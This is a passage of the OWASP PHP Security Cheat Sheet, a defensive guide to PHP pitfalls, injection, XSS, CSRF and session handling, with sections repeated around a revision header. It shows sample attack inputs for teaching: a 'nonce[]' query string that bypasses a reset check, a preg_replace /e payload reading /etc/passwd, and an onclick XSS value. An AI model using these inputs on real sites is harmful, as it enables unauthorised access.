There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:36:21Z

Luke Plant: /* Input handling */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

